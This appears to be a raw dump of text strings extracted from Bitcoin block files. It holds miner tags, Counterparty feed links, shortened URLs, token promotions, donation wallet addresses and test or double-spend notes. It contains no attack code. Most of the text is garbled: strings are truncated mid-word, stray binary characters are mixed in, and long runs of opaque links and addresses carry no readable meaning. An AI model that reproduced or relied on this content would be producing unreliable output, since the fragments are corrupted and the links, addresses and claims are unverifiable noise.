u=https://cpr.sm/Nb48y3vwk1
u=https://cpr.sm/QITcOt_QGz
u=https://cpr.sm/uivU_4k_-O8]
u=https://cpr.sm/Rz8f_qG8Mx
u=https://cpr.sm/Rbqcf-CmAY
u=https://cpr.sm/BoVssl9eFe
u=https://cpr.sm/Dg0PFPAf9a
Super-magic counterparty R
MEME token. much wow.
"GAGA.... Does it get you R
Mmmmm.... everyone loves R
Future alt trading token
)Original crypto currency R
u=https://cpr.sm/ImmDFmezCYZ
u=https://cpr.sm/jNtbMS3RI0
u=https://cpr.sm/jNtbMS3RI0`
u=https://cpr.sm/jNtbMS3RI0
u=https://cpr.sm/03k-YHjA1N
u=https://cpr.sm/jNtbMS3RI0
u=https://cpr.sm/dO0OvR1MqKp
u=https://cpr.sm/ozvkimjr_m
u=https://cpr.sm/jNtbMS3RI0
Mined by qq928526702
u=https://cpr.sm/79C37MNnEs8]
u=https://cpr.sm/eRwvlIVOKo
u=https://cpr.sm/MUL9gd4arU8]
u=https://cpr.sm/Uf5cEiJ7rs
u=http://HelloWorld.com
u=https://cpr.sm/aCsCOcCzoe8]
u=https://cpr.sm/FViWUc4cZU
u=https://cpr.sm/6a6TEUanpQ
u=https://cpr.sm/LpsAU5f-7W
u=https://cpr.sm/gBuQCGPITM8]
https://cpr.sm/eIOxaAZ-he
Mined by mediaclassic
u=https://cpr.sm/b9FDrAC4Td
u=https://cpr.sm/zE56SiejIz
u=https://cpr.sm/ydCka1rgUw8]
YUUMined by lxd630li
u=https://cpr.sm/ou8wzQzgQV
u=https://cpr.sm/89y8Bg8ehQ
u=https://cpr.sm/sqxcTorNAr`
u=https://cpr.sm/ELXd2_ArMq
u=https://cpr.sm/aaXcGE7ziD(6
u=https://cpr.sm/ELXd2_ArMqp
u=https://cpr.sm/VUWmOwVUWY
u=https://cpr.sm/FwnWWcoiXnX
u=https://cpr.sm/khbiHSyjSm\
u=https://cpr.sm/ZH0xiKsd9t
u=https://cpr.sm/V0WIbdB2XC
How are my blowstamps doiR
Mined by qq530955139
Mined by freddy52099
M5Mined by daliansunzong
Mined by hhq2014030807
50BTC.COM resurrection [12]
u=https://cpr.sm/K60xpPHOxY8]
http: bit.ly/GC55137
u=https://cpr.sm/Zxaoc9s9AI8]
u=https://cpr.sm/bNV8x7MRzw
Mined by zhetengzhong
Mined by wangruhe123
u=https://cpr.sm/O6Ow52fPBs
u=https://cpr.sm/d43LWPwaOu
File: blk00141.txt
u=https://cpr.sm/IPbCLrUANGH
u=https://cpr.sm/BoVssl9eFep
u=https://cpr.sm/BoVssl9eFe
u=https://cpr.sm/BoVssl9eFe
Mined by ayjz989a134
Mined by huangjing1224
Mined by liyueming2014
Mined by zjx329154546
u=https://cpr.sm/v53pq7_F7HH
u=https://cpr.sm/80UbW1Awu5
u=https://cpr.sm/28EAUskXfC
u=https://cpr.sm/bGDzMO8Ykc
]UUMined by zhenglin
u=https://cpr.sm/YWEYA4LuWi8]
u=https://cpr.sm/BoVssl9eFe8s
u=https://cpr.sm/BoVssl9eFe
bitcoind sendtoaddress 147n6VNwQRLxuYN95Z63F1JGoaS3ckKMx6 10
/ ~~~~~~\ p o u t i n e
(_ ~~~@~~@| Cthulhu wants your bitcoin/dogecoin, plz donate
\ ~~//|\\\ |
/ /|//_/|/__ BTC : 1JsJs5d6E5SmJSGUiQ12uF1GDZxTCUWvf
/ \_\ \|\| DOGE: D93mn1utTc7REQQPjQSjFf9Boupm32gw88
u=https://cpr.sm/Dg0PFPAf9ap
u=https://cpr.sm/BoVssl9eFeh
u=https://cpr.sm/ZQopsviEbzX
u=https://cpr.sm/eIOxaAZ-he
u=https://cpr.sm/yJEMODs_nM(
u=https://cpr.sm/oNVybv6ajn
Mined by kk272773346
Mined by bagssandymi
,aMined by huangqiy209
Mined by yuxiangzhen
u=https://cpr.sm/Gqy-nEBpvI
u=https://cpr.sm/Gqy-nEBpvI
Mined by xhw2582217168
u=https://cpr.sm/HoQILJCAzz
u=https://cpr.sm/sErk3VYDDy
u=https://cpr.sm/zrIl-WH69d`A
)It's a Golden Ticket! YouR
u=https://cpr.sm/OnTXj7EL1s N
50BTC.COM resurrection [12]
Mined by liu25983751
Mined by zhanghong77887
countersports official shR
Z9Mined by guocai168
Mined by superltcworker
Mined by zhulingbo1986
Services Paid In Awesome
RVUUMined by wangxiaolong
Mined by qq2062586574
!KnCMinerB-D2-TRUSTY0D`
Mined by qq530004929
u=https://cpr.sm/gGSqPOIpZJx
u=https://cpr.sm/gGSqPOIpZJ
u=https://cpr.sm/cTkHXn7M46
u=https://cpr.sm/lhQonNgnDJ
u=https://cpr.sm/z8JUMBxIGz
u=https://cpr.sm/bKa1iEuG_p
u=https://cpr.sm/PuNJ8myd788
Mined by zjx329154546
Mined by cyha20140108
Aj?Drink wine... it is far tastier and healthier than beer! N.E.M.
u=https://cpr.sm/pTqHzWdp0i8]
50BTC.COM resurrection [6]
File: blk00142.txt
u=https://cpr.sm/-tv-dbrAoY
! p://cryptoprophecies.com/wp-contR
! p://cryptoprophecies.com/feeds/eR
Mined by superman521
u=https://cpr.sm/RApYhmXrrL
Z^&oY9@"&}vRU,'ZkJ"3!
BM-2cTMB1LPmtnyxz3nP
RraEoGxmBBzTZpone***
u=https://cpr.sm/pTqHzWdp0i
BM-2cTMB1LPmtnyxz3nP
RraEoGxmBBzTZpone***
BM-2cTMB1LPmtnyxz3nP
RraEoGxmBBzTZpone***
http://kingdomofloathing.R
intense or passionate disR
ONE SHARE = MARKET CAP
Federal Reserve Note
'"Ten-leaf clover" pass-thR
(Redeemable for retweet byR
!YHWH is the most holy namR
"You must believe the entiR
mMined by cangtou111
#www.digitaltangibletrust.R
Mined by cyha20140108
Z^&oY9@"&}vRU,'ZkJ"3!
Proof of Forgiveness
u=https://cpr.sm/zFoBu-diic
Proof of Forgiveness
'The Vita Link Ltd - GreatR
u=https://cpr.sm/-CiCBDERZw8
u=https://cpr.sm/-CiCBDERZw
http://kingdomofloathing.R
Digital Silver. 100% backR
u=https://cpr.sm/CiWon7IAvD
Mined by qq1015180724
u=https://cpr.sm/iEGFJi2tf6
Mined by qq328828422
hey woh what happened
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%MaidSafe is a decentralizR
)MaidSafeCoin is a proxy tR
0l\)~M]23:1OM>S#l"^|
%MaidSafe is a decentralizR
)MaidSafeCoin is a proxy tR
BmffMined by ldj2358
''Mined by antoniong
Mined by haolikuangji
Mined by qq2019371705
Mined by zhangxianfu
Mined by zq307992239
^UUMined by zhenglin
#MMined by hexijian3
Mined by qq346722814
50BTC.COM resurrection [12]
#hackerolympics
#hackerolympics FTW!
File: blk00143.txt
This is another test
message to make sur
e I haven't broken a
nything. I hope that
this works and show
s up in many differe
nt places. _________
B*! /BTC Price 2313 PDT 5/24/14 1/inR
u=https://cpr.sm/Sl4D9jBc0c
Mined by songxiaohai1983
u=https://cpr.sm/B7PGwXz7_p
500 Coins from 500 StartuR
u=https://cpr.sm/MUL9gd4arU
u=https://cpr.sm/O-w1XTDe1A(
cj$spithash and ymode, brogrammers4lyfeh
Mined by xiaoyaojian
eataturdyoushitmonkey
Mined by cbb441047802
)Mined by d13002077681
vO! nian PM Party 2014 1=SDP 2=CYP 3R
http://www.swarmcorp.com/R
Mined by qq2062586574
Mined by hanshicheng
u=https://cpr.sm/H5nooCIcFw
u=https://cpr.sm/KfAQCYkU9J
u=https://cpr.sm/dsbFf0SSV0
u=https://cpr.sm/rGelxTH0yB
http://www.swarmcorp.com/R
mMined by zhaodong1982
u=https://cpr.sm/dxe_QiHRmZ
u=https://cpr.sm/dxe_QiHRmZ
u=https://cpr.sm/dsbFf0SSV0
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Mined by cxm260512289
Mined by dingyangangel
]~Mined by zhaochengfang
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BMined by xin5338634
Mined by tianyi110333
u=https://cpr.sm/75qV1RQpqZ
@x`UUMined by zhaodong1982
! will broadcast if the weather isR
File: blk00144.txt
`Mined by zhaodong1982
Mined by chenchunlei
Mined by zhanglifeng
u=https://cpr.sm/FiSe7PPLuKP_
u=https://cpr.sm/EIaDTsIHpN8]
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u=https://cpr.sm/z-YM-0Y5w8
Mined by cyha20140108
u=https://cpr.sm/EIaDTsIHpN
u=https://cpr.sm/JRAyPtjFON
Mined by caidongxing
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u=https://cpr.sm/rz-sOq77O2
Mined by qq2746677273
Mined by feiduwangluo
Mined by xuzhihua761014
Mined by zhaodong1982
Mined by wangxingsmile
Mined by fuckbitcoin
Mined by phoenixwings
u=https://cpr.sm/O-w1XTDe1A
Mined by caixue439257
Mined by zhengshixiao
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u=https://cpr.sm/NVeosoAhG0
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File: blk00145.txt
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AGT Home Services Inc
AGT Home Services Inc.
Mined by xupeiran520
Mined by wujunyu2014
Mined by shujiangjin
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http://kingdomofloathing.R
Mined by zhaodong1982
50BTC.COM resurrection [6]
Patrick Byrne's SpaceCashR
BM-2cT5tQH9hVd6FyLk1
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Xbet.IO official share
Mined by wang122261336
u=https://cpr.sm/rqU6A3VjLR
Mined by zhaodong1982
Mined by zhaoxiaochuang
Mined by liuhonggang1
Mined by dong7777777
LsMined by l3080615940
Niceplum the Musician
50BTC.COM resurrection [12]
i\UUMined by xudian1
WsAuei:LfW=7u@P}c/bhMn
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Mined by wangxingsmile
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p! t.io/feed/1Jc3nhMxRQdLTjRKJCSps7R
)Visit http://www.tatianacR
Mined by cyha20140108
Mined by hfscqsws016
Mined by wubin564335
u=https://cpr.sm/O-w1XTDe1Ax
)COINPROZ.com - Crypto NewR
File: blk00146.txt
6$! t.io/feed/1GRCMDq7KFxhFZWNCynNbuR
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jE! t.io/feed/1322rkUFWPoVcWP4dKySXLR
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Mined by zhaofengkuangji
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G! t.io/feed/1EzbW6Kaq5ox1Fmeb1HQhfR
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$A! t.io/feed/151H5jqPxyfDDzdc8GAdWFR
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Mined by xiao36812271
}! p://54.86.113.242//feed/4
Mined by cyha20140108
a! t.io/feed/1KdYyQAB6bZ2S7rBMVTpTSR
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P ! t.io/feed/1NiC2MpGiVd15KNh9pMEUVR
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7! t.io/feed/17caSjV9LGfQENkFfRTsvFR
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qb! t.io/feed/17kgmSqcMSp5TBUdUYbpfuR
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En! t.io/feed/13SYDsrF44NK12N4exBdsTR
! t.io/feed/1Q4MRskDc4gLaFKHVg7i3ZR
! t.io/feed/12BUnU7amvM6DcYbS1eNqyR
! t.io/feed/1H3Uaz97rwA4F9cRhYG7EdR
! t.io/feed/12nhEYx3Qp9xy8jiLE1M6gR
W! t.io/feed/1MhUzRWDyERdAyBy9yrQ7nR
#! t.io/feed/1JgSV9CajvMvu6nh6LZs1uR
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! t.io/feed/1PpuHyKXwAKFTi4sQjT7j7R
Z! t.io/feed/16frKCLF72M3TwRtBA5jvcR
U! t.io/feed/1PQmvZd68onZiEbtcrMPGFR
! t.io/feed/1AT1TTrVo2UXjEMt8YMkxTR
! t.io/feed/12wnKRgVgdSC67B1zmrxZuR
! t.io/feed/1QB5M5XFiFJZDL7pVJdaPoR
! t.io/feed/15F9cEWhSjUyeDkazsYcKoR
! t.io/feed/1XuJS8PBfCHjgmHtFX12UuR
E! t.io/feed/1zx3qQrQPsfAWGUyZFce6LR
! t.io/feed/1MiEfbKxD5BTFAdRNnW21XR
! t.io/feed/16fXxhNCPBhmruCXKu6raxR
Z! t.io/feed/1Jcz4J5x7PeUxSrnU77THpR
! t.io/feed/16XZfKyMHuaSHQwKVoAxMWR
7%! t.io/feed/1CyNK9AFTBsc3KqHLp4534R
1! t.io/feed/1BZRVRQdydruirGEn8EEr3R
! t.io/feed/1CiN1oF5bVtBg4Mic7oFsYR
%! t.io/feed/1EpbRUBs9cx5pGKbRRN5CcR
! t.io/feed/15UhysHofvYXKqDoaLdV8TR
! t.io/feed/1KrvgPtQhWHmw6pAgTLzhdR
(! t.io/feed/19VhfzETv3QV4ztRayyH8SR
9n! DW BITCOIN DIFFICULTY
9n! DW BITCOIN DIFFICULTY
! t.io/feed/1BxCfqVDHSJjGwnKLCTmdWR
! t.io/feed/1DZJfmtQepycM9ARZqe5sMR
! t.io/feed/1KaNDsEJXnEvt6r3up8XhwR
! t.io/feed/1NLMRusK5aAVUB5AnWCKENR
! t.io/feed/1QAZ5woqUZ2BRjsGtgwqAqR
! t.io/feed/131jmW1xjVQYFZz1D2HtMDR
Mined by jamesbraidy
Mined by qq116948074
! t.io/feed/1BFmhRJrPuy78eUBEjcvhkR
! t.io/feed/1FQS8DfMUG4HoJhRmFe6RzR
! t.io/feed/12Uc1NVUSKyRTqcdCwfhu7R
/! t.io/feed/1HXUukLaydahaauVzvCf7hR
]! t.io/feed/18uBGzURaEkAsfJhxAGpFdR
^*R! t.io/feed/1PyKHWu9iHNCh29D6z9RBHR
! t.io/feed/1JV6qyquQPH25YDjjW51BJR
p;! t.io/feed/1Q9Phvyn6hCpp5AwMRudQxR
! t.io/feed/1LyXJnL61kyZYLBA6ue3SFR
*4! t.io/feed/1AYGD3VseJHPnDR9Bx6UA2R
! t.io/feed/1LBP1aFrYxuLM1PxtaHb9rR
Mined by ranhuailong
Cryptoconsultancy Shares
https://www.hivewallet.coR
Mined by wangxingsmile
u=https://cpr.sm/0Zf6w3w1458]
Mined by ab999sab777s
ChristopherV.Pollard
Cryptoconsultancy Shares
Chris Pollard
9n! DW BITCOIN DIFFICULTY
! t.io/feed/1H9wKb2Bq9HPqRrkomqiDZR
! t.io/feed/1K3oSpfGUkUkeshJSzpUSUR
! t.io/feed/1E3AqVmASCYn9Kc3MmbtCyR
lp! t.io/feed/1DowNqSpQxFG6Qx9QUwS9uR
! t.io/feed/15Gv33yNKwuZwTya5GHq98R
! t.io/feed/1CgxpBxirhZQEupJE2zYUhR
! t.io/feed/114LqPheATy2yvH7zxjvADR
BN! t.io/feed/1FLZ3AZEzsbks1f8A9apY8R
u=https://cpr.sm/UKJozjqZEg8]
u=https://cpr.sm/UKJozjqZEg
`Mined by zhaodong1982
2! t.io/feed/17zjBCGFZNpUxfaF6fyB3SR
! t.io/feed/1KYKNCGEaazjVzbdu9HwAoR
?! t.io/feed/1EbSwZGZkDgDPSLB6nAPqTR
{)S! t.io/feed/1KbzG97UsXYL1CeN8xfSrkR
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! t.io/feed/1L7LbXC37eBwcB1Vg8XjWsR
`a! t.io/feed/18ny1AURbB26JjNQa9DP44R
! t.io/feed/1NmPqM8Mzjxqu89NKgD3fHR
= ! t.io/feed/183sZbezMB4BNN4L59Swq3R
! t.io/feed/1MjiB3x43ced4zKMmS9VxVR
! t.io/feed/1EXbpaxpws8i1Hi7N5NwN1R
! t.io/feed/1NG9pF4EDNJpWa9N9qVNV6R
! t.io/feed/1FYC4FBVBNiGfuMEtWbvrcR
P! t.io/feed/1EHMH7qGeyJmzzRhhjCAfsR
! t.io/feed/1G4pNEPTxMby9rQRgx6rvvR
! t.io/feed/1AtpU6kvsjmsSTzn3EhPfER
! t.io/feed/18oprjCiZuQXcipK2yxXpAR
! t.io/feed/1GbCBneckq97KH5zfze971R
0! t.io/feed/1aat4UFPThUYdVbfCy4QdyR
Y`! t.io/feed/1MHo9udM4YWMpxZBPVHTyXR
! t.io/feed/17eHWYt8J7cJNYaqbD7VmiR
! t.io/feed/1N1voemM95mwi5gGsuU9tER
! t.io/feed/1FQHbA3QMxoCePeFVXVL2oR
R>! t.io/feed/1NVy2JszQdxT1X7EfQgY2pR
! t.io/feed/13gAoQF6JJ16wV56NQCY97R
! t.io/feed/1NzUuexWpo3h9ofrzJYowrR
! t.io/feed/1Ltc2Hq8dxi2ax7qUmRzbhR
! t.io/feed/1BeUBH6BDvxGWoKzz9QfruR
Mined by frankiejiang
Mined by maweiwei5201314
o! t.io/feed/1F5eC6x3appgHgSeN5Quv3R
Y! t.io/feed/1Jk5g9qyctn3aRhzYpe3S5R
! t.io/feed/1HzZq4QpF4cb3pGdNeoMVjR
! t.io/feed/1QWSdtvBHh9DJDcBkZr43HR
! t.io/feed/1EcYPUipfiQaG2a34PB18gR
! t.io/feed/1MWZnZQJNheQxwx3c7rT6JR
Mb! t.io/feed/13xBagsfPzw85wo6Rz5hsWR
! t.io/feed/17tR2w1UPx82Fmog51RjFYR
%! t.io/feed/1HGgZHjPPANbiRsg5cTmdbR
! t.io/feed/1BTuL7bHW6kxvxmv7BSqMsR
! t.io/feed/114WwjSkoAiDveUmRhS59zR
0! t.io/feed/1CRdqHkrqynnZMdDa4XgRRR
! t.io/feed/1F9TURb7x6q44bSDB27yqkR
Mined by zhangfen048
]<Mined by grkjltyha
Cryptoconsultancy Shares
Mined by qq1762232990
Mined by wangxingsmile
Mined by caixiaoming
Mined by wangxingsmile
HappyBdayKatLoveWill
&Cryptoconsultancy Shares R
Mined by qq2062586574
Mined by wmf136169083
! t.io/feed/136aH6EXZpzG8PHuc3gG2aR
! t.io/feed/1L9RAj9yJYfUvCJcz46ysnR
! t.io/feed/1NBsdqjP9Q146gtcSDAz5ER
! t.io/feed/13wbdYCDt3KzgHFLs57KrRR
[! t.io/feed/1HcWBxwXXKNwr8wfE7vh4ER
E! t.io/feed/15W79Ln778aM6UzeoJW2mjR
! t.io/feed/1EiSpMbNpvEUqc2u7o2kNMR
! t.io/feed/1AiypcdNqvWbsYboTt7nuER
! t.io/feed/1FUix4r4HTwermUtvfQc6KR
TvS! t.io/feed/1MojCiTqq66XQCZxqi4Ac9R
n8! t.io/feed/1DZeXTLFiJSeQSq6REus3tR
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n! t.io/feed/18CSNmKjBHpSjzh3hhnpAvR
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! t.io/feed/1GJAtB4sNKvgjjmZUP6YGVR
! t.io/feed/1Kjk4mHnfnx1tFbueCmBU2R
! t.io/feed/172XNWjoLHQ1E169f2gPrFR
8! t.io/feed/1PZ3b3BEST2SnSb4y6W6DRR
! t.io/feed/18qTbxPZ5PMcArfGNFS4tmR
Mined by zhaodong1982
Mined by duanchiqingting
u=https://cpr.sm/YUsNDO-Lz9
File: blk00147.txt
Mined by sd913653813
Mined by qq402243980
! t.io/feed/1LFj7s93nfRZQzWp2eJshXR
O! t.io/feed/1CLuTesot9FGUATuPYYFsJR
! t.io/feed/1DuPyGH96LZCWXnQtDpEZBR
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! t.io/feed/1PnzKiwtjeGLXwyJ5hooBwR
<! t.io/feed/1Bb6cUB4r2dh1poXTMPRH8R
! t.io/feed/15i2Sp5oQc8sjnhxQ8fyQ4R
! t.io/feed/1ChBrT8TTPoqCo2LKnG7NZR
! t.io/feed/1PRUFyh6GXWPpettXmQKVER
6! t.io/feed/1DqiW35kpJUzBRoEWLHHvwR
H! t.io/feed/1DCJ9YHzzkozwdQVjakE8gR
! t.io/feed/1J5swjZsLkzUBSXr1pALKkR
! t.io/feed/1L6UugYukybDeUT3iHeXPBR
! t.io/feed/12Yw6LrqA6fV9kHph8iwpCR
5V! t.io/feed/16XotNbnDdCUgo19pFc6K2R
`! t.io/feed/1dssE7M74NMQuhDuTBuNNGR
! t.io/feed/12PhTyZPdfVPTFJQvGbFTJR
Distributed Applications
DISTRIBUTED APP INDEX
Mined by qq1580833384
Mined by xiechengqiang
p! p://betxcp.com/feed/27
p! p://betxcp.com/feed/27
Mined by zhoujianyong
p! p://betxcp.com/feed/27
u=https://cpr.sm/kMgRD2xFVr8]
u=https://cpr.sm/kMgRD2xFVr
Test OP_RETURN by SatoNaka
Mined by wangxingsmile
Mined by wangxingsmile
Mined by zhaodong1982
Mined by wangxingsmile
Mined by jianpeng3277
Mined by wmf136169083
}! t.io/feed/12V1x2QjABb7JE2M9efoZoR
! t.io/feed/1HrHuYh2mW1ojeyzE3ubt5R
!! t.io/feed/1BTEyDVyRaENG36mMJTHRQR
! t.io/feed/16Nj9tiKjWcsa2h8RX7r2gR
! t.io/feed/1B6Cr3RYMhh7yUGvE2yMAPR
! t.io/feed/1BofUNuXw4i1pZ5vqGVYfCR
^b! t.io/feed/1FP1dGaYMmxT1ivVcAbUgvR
@Mined by zhaodong1982
u=https://cpr.sm/3HmZu1qrwPh?
Are you a turtle?
6+$M! t.io/feed/17E7cQJ6SMMYK2SnXzsMjCR
! t.io/feed/1EYbBpF66DEUSuHwEQuMBAR
! t.io/feed/1gHGYZDcue3dbT8R3gn7sSR
! t.io/feed/19t2VnK9R1URZBiVV9e4JUR
! t.io/feed/16SUHP7LsDhK4yeJisMs6SR
! t.io/feed/18u5WiYoEz48i2uwRHFpHFR
! t.io/feed/1NduLyKWRk1WifFinqxCsNR
! t.io/feed/1JAa67bvggtdVuymNzcq6qR
! t.io/feed/1EhqvDmR5CP6zbgaG3wxwDR
! t.io/feed/19R83oNbfVcgUpQzs7YpSUR
LY,! t.io/feed/1MF5tuiKfFcHvJhV3vZJ7BR
B! t.io/feed/1DCMoSkhMZh2wj2j6QY3jbR
a! t.io/feed/14bAFNo6Wk6SXTxQT73CFNR
! t.io/feed/1HRAVftRQS67u5nmao7tkdR
(.! t.io/feed/1EpWCQQQTDth5Q9MHy6DZCR
! t.io/feed/1MNAbcKWpT4G6x91vmrZKaR
! t.io/feed/16qp3vJddB4Jx8ExgJyyPgR
! t.io/feed/13xSnbktS57nuMRf9NtxRfR
! t.io/feed/16NUGmtMzwkqpWLfyM5HCBR
! t.io/feed/1MWArQ5x29ykmHgva1HmxXR
{! t.io/feed/1NQkTMiWX36Wt4YcHybGogR
! t.io/feed/1NXqmrzu8HT3PmEDtkqfdvR
oY! t.io/feed/1KnByiKBSrVMihvL3snwoWR
5! t.io/feed/1Jv5vMJmP7ZRxWD7EZbCnoR
Mined by chenmingfeng
Mined by wangxingsmile
Mined by huangqizhang
unsuccessful double-spend attempt
swf.est.BitcoinMC.co
unsuccessful double-spend attempt
Mined by wangxingsmile
unsuccessful double-spend attempt
! t.io/feed/1GMn2zDGWgfkRV4g36jBNwR
! t.io/feed/1BTRGUSGMAW3mzptpDi4gzR
@y! t.io/feed/1HX2WahynUKPxXxjQYCbKfR
:! t.io/feed/1ipsbTtBgJqZm6K7HpCkM8R
U! t.io/feed/1BrKdAzYeQvrBwVViyjHnyR
dH! t.io/feed/18dQKE1K5742by4GhJ7UiFR
! t.io/feed/12qTLf28kVMpgULPxKxkGsR
! t.io/feed/1NntXB7XjmmqnCeqoV6hqGR
! t.io/feed/1LC6ELpyyUGJtNGN6rCn8TR
7! t.io/feed/1C84j3ghZGi22EiqTMnfPzR
! t.io/feed/1NkyFYaCShL9QJJPBXRZfGR
:! t.io/feed/19HrEc3wCxpV8crKeoPfHwR
_! t.io/feed/12YAwLGaF3sZ3xprZE4MivR
.'! t.io/feed/1LiRuS9fNMHbQkUEEWZyMiR
mMined by yy863200973
u=https://cpr.sm/Lx_nO1JNlF
u=https://cpr.sm/6PIai0PsYd
u=https://cpr.sm/o-ku6c3obv
u=https://cpr.sm/o-ku6c3obv`"
Check sebuh.com for detaiR
Mined by yuxiangzhen
Drizzy Drake Official ToR
A test of LTBcoin distribR
http://goo.gl/dXsHqm
unsuccessful double-spend attempt
Mined by baidugan888
N! T - Counterwallet is awesome
! t.io/feed/1LR7fjXucfNrFYjy8xVqS2R
! t.io/feed/19URnDu89gzkKVKUnNDNCmR
! t.io/feed/1PNG3AChZJdMiTvXg3iMsyR
! t.io/feed/1DdpvRWfaKDeF6kQXTZ9fER
>! t.io/feed/1GR6MLhWRqLnn4zgbxG6TrR
! t.io/feed/1KVYTrjj6MxXdnNvZ2iuZ8R
! t.io/feed/1CBq2jHN3WfAQxux28DYzBR
! t.io/feed/1E2NmLTECLhtWiMRVymxHFR
! t.io/feed/15o3wavvffHFyTKVxfrzebR
! t.io/feed/16dQ71SVgUzCvNggfH6wKaR
! t.io/feed/17kh7uLVVk6xtWeGkqTTmiR
$j! t.io/feed/1Afy2DFVkRmR6xcgaCUcWWR
M! t.io/feed/1GumkUiEwoRUHfckDudx7HR
|! t.io/feed/1J9qutaWTVZWSnu63GUPz5R
+! t.io/feed/1JSzHLQBW5xeq21vHwG7uXR
! t.io/feed/1JKrpzeCJGeBZjShARPTVsR
:! t.io/feed/1GU4sANseHwRDGNZXrPHizR
! t.io/feed/19oJDqS3wrGquntmATym2vR
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>! t.io/feed/1MKi8XKFwJNWy6A56CVuSHR
G! t.io/feed/1D6fRrtowYqTRkxBJwq4t9R
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`! t.io/feed/167u7Snp6cnFW2TfDLUZGSR
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A! t.io/feed/1DFH4aFTu5hTWjG9qzFrDMR
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[l! t.io/feed/1JHFW6D8zBDMoVGNvBC1xHR
}I! t.io/feed/1HHQmC2CYQQMNHNR63Aw61R
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f! t.io/feed/1GCS8aZWAXFC1aN6EC3K7VR
?^! t.io/feed/1MnxdCZVpoTRTYcJY51bhdR
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d! t.io/feed/13vBqQZqk5tQDhgPf7hVEqR
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#! t.io/feed/157eN4ANSawyEFQk7GnWPQR
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B! t.io/feed/1B6bGKiDHQYm3LsRBWdUyJR
4! t.io/feed/1PNwmYa3Xn3DNS8vDYgQmxR
s! t.io/feed/1AGzTEZtqLMceGRzh1s7b7R
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9! t.io/feed/1EigU21Dt2K8YZTc86KzozR
J9u! t.io/feed/16XHtAAvHL7rjLxYjExM45R
]! t.io/feed/137XaMadV1SUwWvgFkZWBgR
+X! t.io/feed/15gBnKZp9ZCcfL9j3BVyn3R
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6! t.io/feed/17awr69RdKxgJLPib8tAY8R
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Ml#! t.io/feed/18sFu9zd5vfHYUzchzjmSqR
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D! t.io/feed/1MteJfvXLkxV8DQRooJP4XR
W! t.io/feed/1N3ocgMdvvB3Gra3VCPgkAR
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T ! t.io/feed/1L66ZsFVf5tguZAcSCsDzWR
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! t.io/feed/16oAXxGa6oDiqUufXNfB4BR
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! t.io/feed/1BADrKBADZPB1i348zHo19R
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W! t.io/feed/1EV9tCAKMJLHJ9CudMAqEMR
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:6! t.io/feed/1EJz1kazsAkxyz7rAp63gfR
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j! t.io/feed/15eeJWQURovSrEWrSUvkuWR
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El! t.io/feed/16QerRqCVfjoBcCMiXaCrDR
yL! t.io/feed/122rC8xpD9zux5yjzwC9sAR
Zr! t.io/feed/18RB1KaLZru7j8c8JY1YfHR
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q! t.io/feed/1P57rWYkCr6QZte28tURQhR
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i! t.io/feed/18L9mk7zx8A1iVeTArqnTKR
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;! t.io/feed/13ATMYxg1gXdPWwicWtsv2R
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`u>1! t.io/feed/1LLe77W8DUynUFaT8yfER7R
-G! t.io/feed/17FsvQw2BeFyv1KNP9QZhzR
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! t.io/feed/19iAK1Sy6yvDUsSsMxBaw4R
! t.io/feed/161JTnmxS3oyiqbYDwVdwER
! t.io/feed/1BijBeMiQge2aUDNZ7BDaRR
! t.io/feed/15pHkUb7cL9Vdr4DDF3TuXR
! t.io/feed/14SCxDVdvNmhJbqEsh9VAoR
d\! t.io/feed/17a2QH2zNHgdGBNMd4MoyjR
! t.io/feed/1L37veHts9zvti9y8XbmFFR
! t.io/feed/1N5y4fsoeKYAJw9TegRFYbR
%{! t.io/feed/1Pwdd6rCNdrF5Zb5SiTMNcR
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B! t.io/feed/1LposhN8FrM5UkvTRButU2R
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_?! t.io/feed/1Lzekva8qDW9ze8zhWjYZgR
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X&! t.io/feed/1EF3vNqxgEeWFobzbwFa5WR
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Q! t.io/feed/17SYgEsR6AJ4ynnkh21dqbR
! t.io/feed/1Fs7Tnbe31K8DHj92QD68NR
V! t.io/feed/1Pu5LeceC57g76buJuzr8SR
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G! t.io/feed/1KsaTzycuggeaasnM9vtaXR
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LJ! t.io/feed/1BMn715ofYbZDiCCtK33pKR
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a! t.io/feed/13cHaE3REs2TAHRUpSu8TyR
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{! t.io/feed/12Xj8aef5XvbB3GsNca6VuR
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sw_! t.io/feed/13AXadXTMeVWUfqQjdWFKrR
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~! t.io/feed/13Q4ATNEX6S4wyr9pfjJ1HR
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v! t.io/feed/1AwDhqYejv8EwHyLK9jG9tR
4! t.io/feed/1o7m8YfXK4DFhHsqftwwWJR
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5! t.io/feed/1CWaUB8uqqsA8BvzkumT95R
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l! t.io/feed/19TdDcpkyRnLFgVRSay8YWR
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c! t.io/feed/1DvLBu22wJKa2KpmFsSxUUR
3! t.io/feed/1P7KG5WVShU2P7r2hSt8EqR
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U! t.io/feed/1FfM6gDqXBbwNvuyEiCKHcR
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g! t.io/feed/1AwTtmhqxSsBiqmb39iS5aR
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U! t.io/feed/1LSzcUUs74uiboTGZYLojFR
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b! t.io/feed/16qBB1ZCX6yT98LtiW1rD7R
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! t.io/feed/1PwKHW1HLA2NmmCd85pY3xR
;! t.io/feed/19d6SvxozzKNPTA1RJ2x4HR
hW! t.io/feed/1HSHwN6riEjz6gcnDLtiGHR
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! t.io/feed/1BMsJQGxV9d9bpTjKFzLpuR
! t.io/feed/1KYbaQeGDg9f7AkTamPVnrR
-<! t.io/feed/1PERJM3zdFvcacFGrQf9K4R
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^SUS+! t.io/feed/14DELTYLtGBXX6hKrLX7PuR
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! t.io/feed/13pA9JCS3mmFA2JRbLPKqLR
! t.io/feed/1D5sjxqw9yJttgbH5NZkiJR
Ii Mined by AntPool .
Oo Mined by AntPool
unsuccessful double-spend attempt
)hybridassets.info -- STORR
Mined by aa847544178
A test of LTBcoin distribR
Mined by zhouyang168
Mined by linmusen1987
h Mined by AntPool P
unsuccessful double-spend attempt
Chris Webby - Chilly
File: blk00148.txt
u=https://cpr.sm/Yi6KfG4z8o8]
u=https://cpr.sm/w170aoN-qC8]
BM-2cUbuWUC89A23JGZQ
HQfHub3f6DJU1JXSt***
Mined by qq983469517
Check sebuh.com for detaiR
)hybridassets.info -- STORR
l Mined by AntPool n
Mined by yuan737715284
Visual Artist. TROPZILLA.R
u=https://cpr.sm/oXcvD1frRQ
u=https://cpr.sm/G7SQYKJXA9
E! t.io/feed/1BRUvqpqg7WJmEYsFYuyDKR
! UH Will be shipping out all mineR
unsuccessful double-spend attempt
fffMined by zhaodong1982
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by zjx2560982240
this is ostensibly a testmessageR
unsuccessful double-spend attempt
